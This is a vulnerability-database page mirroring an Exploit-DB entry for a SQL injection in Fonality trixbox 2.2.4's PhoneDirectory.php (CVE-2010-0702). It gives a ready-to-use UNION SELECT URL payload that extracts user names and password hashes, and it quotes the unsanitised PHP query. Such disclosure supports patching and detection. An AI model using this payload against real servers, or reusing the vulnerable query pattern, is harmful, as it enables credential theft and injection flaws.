Lucene search
+L

Fonality trixbox 2.2.4 - 'PhonecDirectory.php' SQL Injection

🗓️ 19 Feb 2010 00:00:00Reported by NorSlackerType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 44 Views

Fonality trixbox 2.2.4 SQL Injection vulnerability in PhoneDirectory.ph

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2010-0702
23 Feb 201020:00
cve
Cvelist
CVE-2010-0702
23 Feb 201020:00
cvelist
EUVD
EUVD-2010-0729
7 Oct 202500:30
euvd
NVD
CVE-2010-0702
23 Feb 201020:30
nvd
Prion
Sql injection
23 Feb 201020:30
prion
Positive Technologies
PT-2010-2453 · Fonality · Fonality Trixbox
23 Feb 201000:00
ptsecurity
Tenable Nessus
trixbox Cisco Phone Services PhoneDirectory.php ID Parameter SQL Injection
23 Feb 201000:00
nessus
# Software Link: http://trixbox.org/downloads
# Version: 2.2.4
# Code :
http://server/cisco/services/PhoneDirectory.php?ID=1 [SQL INJECTION]

Example (Grab users / password hashes from sugarcrm)
http://server/cisco/services/PhoneDirectory.php?ID=1' UNION SELECT id,user_hash AS 'first_name',last_name,phone_home,user_name AS 'phone_work',user_hash AS 'phone_mobile',phone_other FROM users WHERE 1='1' GROUP BY 'id


PhoneDirectory.php vulnerable code:
# If the variable "ID" is passed in through the GET string, then display
# extension, phone number and cell phone number for that record with the dial
# key functionality
if ($ID) {
 $PersonDirectoryListing = "<CiscoIPPhoneDirectory>\n";

 $Query = "SELECT id, first_name, last_name, phone_home, phone_work, phone_mobile, phone_other ";
 $Query .= "FROM contacts WHERE id = '$ID' ";
 $Query .= "ORDER BY last_name ";
 $SelectPersonInfo = mysql_query($Query,$ConnectionSuccess);

 ...

}

#norslacker [at] gmail [dot] com

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Dec 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.04095
44